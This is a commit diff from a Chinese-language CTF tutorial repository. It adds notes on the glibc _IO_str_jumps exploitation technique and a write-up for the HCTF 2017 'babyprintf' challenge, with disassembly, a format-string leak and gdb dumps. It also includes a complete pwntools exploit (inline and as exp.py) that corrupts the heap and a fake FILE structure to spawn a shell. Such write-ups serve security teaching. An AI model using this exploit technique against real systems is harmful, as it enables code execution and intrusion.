mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 03:01:15 +07:00
finish 6.1.25
This commit is contained in:
firmianay
parent
c22c8ab99d
commit
08257a21f9
@ -518,7 +518,7 @@ _IO_vtable_check (void)
|
||||
|
||||
|
||||
## 新的利用技术
|
||||
在防御机制下通过修改虚表的利用技术已经用不了了，但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方，那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`：
|
||||
在防御机制下通过修改虚表的利用技术已经用不了了，但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方，那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`（该符号在strip后会丢失）：
|
||||
```c
|
||||
const struct _IO_jump_t _IO_str_jumps libio_vtable =
|
||||
{
|
||||
@ -560,7 +560,7 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
||||
fp->_IO_read_ptr = fp->_IO_read_end;
|
||||
}
|
||||
pos = fp->_IO_write_ptr - fp->_IO_write_base;
|
||||
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
|
||||
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) // 条件 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
|
||||
{
|
||||
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
|
||||
return EOF;
|
||||
@ -569,11 +569,11 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
||||
char *new_buf;
|
||||
char *old_buf = fp->_IO_buf_base;
|
||||
size_t old_blen = _IO_blen (fp);
|
||||
_IO_size_t new_size = 2 * old_blen + 100; // new_size 的计算方法
|
||||
_IO_size_t new_size = 2 * old_blen + 100; // 通过计算 new_size 为 "/bin/sh\x00" 的地址
|
||||
if (new_size < old_blen)
|
||||
return EOF;
|
||||
new_buf
|
||||
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // fp 上的相对地址
|
||||
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址，即 system("/bin/sh")
|
||||
if (new_buf == NULL)
|
||||
{
|
||||
/* __ferror(fp) = 1; */
|
||||
@ -612,6 +612,9 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
||||
- _IO_buf_end = (bin_sh - 100) / 2
|
||||
- _IO_write_ptr = 0x7fffffffffffffff
|
||||
- _IO_write_base = 0
|
||||
- _mode = 0
|
||||
|
||||
与传统的 house-of-orange 不同的是，这种利用方法不再需要知道 heap 的地址，因为 `_IO_str_jumps` vtable 是在 libc 上的，所以只要能泄露出 libc 的地址就可以了。
|
||||
|
||||
|
||||
## CTF 实例
|
||||
|
||||
@ -21,6 +21,18 @@ Compiled by GNU CC version 6.3.0 20170406.
|
||||
```
|
||||
64 位程序，开启了 canary 和 NX，默认开启 ASLR。
|
||||
|
||||
在 Ubuntu16.10 上玩一下：
|
||||
```
|
||||
./babyprintf
|
||||
size: 0
|
||||
string: AAAA
|
||||
result: AAAAsize: 10
|
||||
string: %p.%p.%p.%p
|
||||
result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
|
||||
too long
|
||||
```
|
||||
真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响；然后似乎是直接打印 string，而没有考虑格式化字符串的问题；最后程序应该是对 size 做了大小上的检查，而且是无符号数。
|
||||
|
||||
|
||||
## 题目解析
|
||||
#### main
|
||||
@ -35,100 +47,240 @@ Compiled by GNU CC version 6.3.0 20170406.
|
||||
| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
|
||||
| ,=< 0x004007c8 jmp 0x400815
|
||||
| 0x004007ca nop word [rax + rax]
|
||||
| | ; JMP XREF from 0x00400832 (main)
|
||||
| | ; CODE XREF from 0x00400832 (main)
|
||||
| .--> 0x004007d0 mov edi, eax
|
||||
| :| 0x004007d2 call sym.imp.malloc ; void *malloc(size_t size)
|
||||
| :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
|
||||
| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
|
||||
| :| 0x004007dc mov rbx, rax
|
||||
| :| 0x004007df mov edi, 1
|
||||
| :| 0x004007e4 xor eax, eax
|
||||
| :| 0x004007e6 call sym.imp.__printf_chk
|
||||
| :| 0x004007eb mov rdi, rbx
|
||||
| :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
|
||||
| :| 0x004007ee xor eax, eax
|
||||
| :| 0x004007f0 call sym.imp.gets ; char*gets(char *s)
|
||||
| :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
|
||||
| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
|
||||
| :| 0x004007fa mov edi, 1
|
||||
| :| 0x004007ff xor eax, eax
|
||||
| :| 0x00400801 call sym.imp.__printf_chk
|
||||
| :| 0x00400806 mov rsi, rbx
|
||||
| :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
|
||||
| :| 0x00400809 mov edi, 1
|
||||
| :| 0x0040080e xor eax, eax
|
||||
| :| 0x00400810 call sym.imp.__printf_chk
|
||||
| :| ; JMP XREF from 0x004007c8 (main)
|
||||
| :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
|
||||
| :| ; CODE XREF from 0x004007c8 (main)
|
||||
| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
|
||||
| : 0x0040081a mov edi, 1
|
||||
| : 0x0040081f xor eax, eax
|
||||
| : 0x00400821 call sym.imp.__printf_chk
|
||||
| : 0x00400826 xor eax, eax
|
||||
| : 0x00400828 call sub._IO_getc_990
|
||||
| : 0x00400828 call sub._IO_getc_990 ; 读入 size
|
||||
| : 0x0040082d cmp eax, 0x1000
|
||||
| `==< 0x00400832 jbe 0x4007d0
|
||||
| `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
|
||||
| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
|
||||
| 0x00400839 call sym.imp.puts ; int puts(const char *s)
|
||||
| 0x0040083e mov edi, 1
|
||||
\ 0x00400843 call sym.imp.exit ; void exit(int status)
|
||||
```
|
||||
整个程序非常简单，首先分配 size 大小的空间，然后在这里读入字符串，由于使用 `gets()` 函数，可能会导致堆溢出。然后直接调用 `__printf_chk()` 打印这个字符串，可能会导致栈信息泄露。
|
||||
|
||||
#### read
|
||||
```
|
||||
[0x00400850]> pdf @ sub._IO_getc_990
|
||||
/ (fcn) sub._IO_getc_990 122
|
||||
| sub._IO_getc_990 ();
|
||||
| ; CALL XREF from 0x00400828 (main)
|
||||
| 0x00400990 push rbp
|
||||
| 0x00400991 push rbx
|
||||
| 0x00400992 xor ebx, ebx
|
||||
| 0x00400994 sub rsp, 0x28 ; '('
|
||||
| 0x00400998 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||||
| 0x004009a1 mov qword [rsp + 0x18], rax
|
||||
| 0x004009a6 xor eax, eax
|
||||
| 0x004009a8 nop dword [rax + rax]
|
||||
| ; JMP XREF from 0x004009ce (sub._IO_getc_990)
|
||||
| .-> 0x004009b0 mov rdi, qword [obj.stdin] ; [0x601090:8]=0
|
||||
| : 0x004009b7 movsxd rbp, ebx
|
||||
| : 0x004009ba call sym.imp._IO_getc
|
||||
| : 0x004009bf cmp al, 0xa ; 10
|
||||
| : 0x004009c1 mov byte [rsp + rbx], al
|
||||
| ,==< 0x004009c4 je 0x400a05
|
||||
| |: 0x004009c6 add rbx, 1
|
||||
| |: 0x004009ca cmp rbx, 9 ; 9
|
||||
| |`=< 0x004009ce jne 0x4009b0
|
||||
| | 0x004009d0 cmp byte [rsp + 9], 0xa ; [0xa:1]=255 ; 10
|
||||
| |,=< 0x004009d5 je 0x400a00
|
||||
| || ; JMP XREF from 0x00400a09 (sub._IO_getc_990)
|
||||
| .---> 0x004009d7 xor edx, edx
|
||||
| :|| 0x004009d9 xor esi, esi
|
||||
| :|| 0x004009db mov rdi, rsp
|
||||
| :|| 0x004009de call sym.imp.strtoul ; long strtoul(const char *str, char**endptr, int base)
|
||||
| :|| 0x004009e3 mov rcx, qword [rsp + 0x18] ; [0x18:8]=-1 ; 24
|
||||
| :|| 0x004009e8 xor rcx, qword fs:[0x28]
|
||||
| ,====< 0x004009f1 jne 0x400a0b
|
||||
| |:|| 0x004009f3 add rsp, 0x28 ; '('
|
||||
| |:|| 0x004009f7 pop rbx
|
||||
| |:|| 0x004009f8 pop rbp
|
||||
| |:|| 0x004009f9 ret
|
||||
|:|| 0x004009fa nop word [rax + rax]
|
||||
| |:|| ; JMP XREF from 0x004009d5 (sub._IO_getc_990)
|
||||
| |:|`-> 0x00400a00 mov ebp, 9
|
||||
| |:| ; JMP XREF from 0x004009c4 (sub._IO_getc_990)
|
||||
| |:`--> 0x00400a05 mov byte [rsp + rbp], 0
|
||||
| |`===< 0x00400a09 jmp 0x4009d7
|
||||
| | ; JMP XREF from 0x004009f1 (sub._IO_getc_990)
|
||||
\ `----> 0x00400a0b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
```
|
||||
这里需要注意的是 `__printf_chk()` 函数，由于程序开启了 `FORTIFY` 机制，所以程序在编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了。区别有两点：
|
||||
- 不能使用 `%x$n` 不连续地打印，也就是说如果要使用 `%3$n`，则必须同时使用 `%1$n` 和 `%2$n`。
|
||||
- 在使用 `%n` 的时候会做一些检查。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
所以这题应该不止是利用格式化字符串，其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查，原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了，即一个叫做 `_IO_str_jumps` 的 vtable 里的 `_IO_str_overflow` 虚表函数（参考章节 4.13）。
|
||||
|
||||
#### overwrite top chunk
|
||||
```python
|
||||
def overwrite_top():
|
||||
payload = "A" * 16
|
||||
payload += p64(0) + p64(0xfe1) # top chunk header
|
||||
prf(0x10, payload)
|
||||
```
|
||||
为了能将 top chunk 释放到 unrosted bin 中，首先覆写 top chunk 的 size 字段：
|
||||
```
|
||||
gdb-peda$ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
#### leak libc
|
||||
```python
|
||||
def leak_libc():
|
||||
global libc_base
|
||||
|
||||
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||||
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||||
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||||
|
||||
log.info("libc_base address: 0x%x" % libc_base)
|
||||
```
|
||||
然后利用格式化字符串来泄露 libc 的地址，此时的 top chunk 也已经放到 unsorted bin 中了：
|
||||
```
|
||||
gdb-peda$ x/10gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
|
||||
0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/6gx 0x623010-0x10
|
||||
0x623000: 0x0000000000000000 0x0000000000001011
|
||||
0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
|
||||
0x623020: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/4gx 0x623000+0x1010
|
||||
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
|
||||
0x624020: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
#### house of orange
|
||||
```python
|
||||
def house_of_orange():
|
||||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||||
|
||||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||
log.info("vtable address: 0x%x" % vtable_addr)
|
||||
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
stream += p64(0) # fp->_mode
|
||||
|
||||
payload = "A" * 0x10
|
||||
payload += stream
|
||||
payload += p64(0) * 2
|
||||
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||||
payload += p64(system_addr)
|
||||
prf(0x10, payload)
|
||||
```
|
||||
改进版的 house-of-orange，详细你已经看了参考章节，这里就不再重复了，内存布局如下：
|
||||
```
|
||||
gdb-peda$ x/40gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x0000000000000000 0x0000000000000021
|
||||
0x602030: 0x4141414141414141 0x4141414141414141
|
||||
0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
|
||||
0x602050: 0x0000000000000000 0x00007ffff7dd24f0
|
||||
0x602060: 0x0000000000000000 0x7fffffffffffffff
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
|
||||
0x602090: 0x0000000000000000 0x0000000000000000
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
0x602100: 0x0000000000000000 0x0000000000000000
|
||||
0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
|
||||
0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
|
||||
0x602130: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
|
||||
0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow
|
||||
```
|
||||
|
||||
#### pwn
|
||||
```python
|
||||
def pwn():
|
||||
io.sendline("0") # abort routine
|
||||
io.interactive()
|
||||
```
|
||||
最后触发异常处理，获得 shell。
|
||||
|
||||
开启 ASLR，Bingo!!!
|
||||
```
|
||||
|
||||
$ python exp.py
|
||||
[+] Starting local process './babyprintf': pid 8307
|
||||
[*] libc_base address: 0x7f40dc2ca000
|
||||
[*] _IO_list_all address: 0x7f40dc68c500
|
||||
[*] system address: 0x7f40dc30f6a0
|
||||
[*] /bin/sh address: 0x7f40dc454c40
|
||||
[*] vtable address: 0x7f40dc6884c0
|
||||
[*] Switching to interactive mode
|
||||
result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
|
||||
======= Backtrace: =========
|
||||
...
|
||||
$ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
完整 exp 如下：
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
|
||||
libc = ELF('libc-2.24.so')
|
||||
|
||||
def prf(size, string):
|
||||
io.sendlineafter("size: ", str(size))
|
||||
io.sendlineafter("string: ", string)
|
||||
|
||||
def overwrite_top():
|
||||
payload = "A" * 16
|
||||
payload += p64(0) + p64(0xfe1) # top chunk header
|
||||
prf(0x10, payload)
|
||||
|
||||
def leak_libc():
|
||||
global libc_base
|
||||
|
||||
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||||
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||||
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||||
|
||||
log.info("libc_base address: 0x%x" % libc_base)
|
||||
|
||||
def house_of_orange():
|
||||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||||
|
||||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||
log.info("vtable address: 0x%x" % vtable_addr)
|
||||
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
stream += p64(0) # fp->_mode
|
||||
|
||||
payload = "A" * 0x10
|
||||
payload += stream
|
||||
payload += p64(0) * 2
|
||||
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||||
payload += p64(system_addr)
|
||||
prf(0x10, payload)
|
||||
|
||||
def pwn():
|
||||
io.sendline("0") # abort routine
|
||||
io.interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
overwrite_top()
|
||||
leak_libc()
|
||||
house_of_orange()
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
|
||||
63
src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py
Normal file
63
src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py
Normal file
@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
|
||||
libc = ELF('libc-2.24.so')
|
||||
|
||||
def prf(size, string):
|
||||
io.sendlineafter("size: ", str(size))
|
||||
io.sendlineafter("string: ", string)
|
||||
|
||||
def overwrite_top():
|
||||
payload = "A" * 16
|
||||
payload += p64(0) + p64(0xfe1) # top chunk header
|
||||
prf(0x10, payload)
|
||||
|
||||
def leak_libc():
|
||||
global libc_base
|
||||
|
||||
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||||
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||||
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||||
|
||||
log.info("libc_base address: 0x%x" % libc_base)
|
||||
|
||||
def house_of_orange():
|
||||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||||
|
||||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||
log.info("vtable address: 0x%x" % vtable_addr)
|
||||
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
stream += p64(0) # fp->_mode
|
||||
|
||||
payload = "A" * 0x10
|
||||
payload += stream
|
||||
payload += p64(0) * 2
|
||||
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||||
payload += p64(system_addr)
|
||||
prf(0x10, payload)
|
||||
|
||||
def pwn():
|
||||
io.sendline("0") # abort routine
|
||||
io.interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
overwrite_top()
|
||||
leak_libc()
|
||||
house_of_orange()
|
||||
pwn()
|
||||
Loading…
Reference in New Issue
Block a user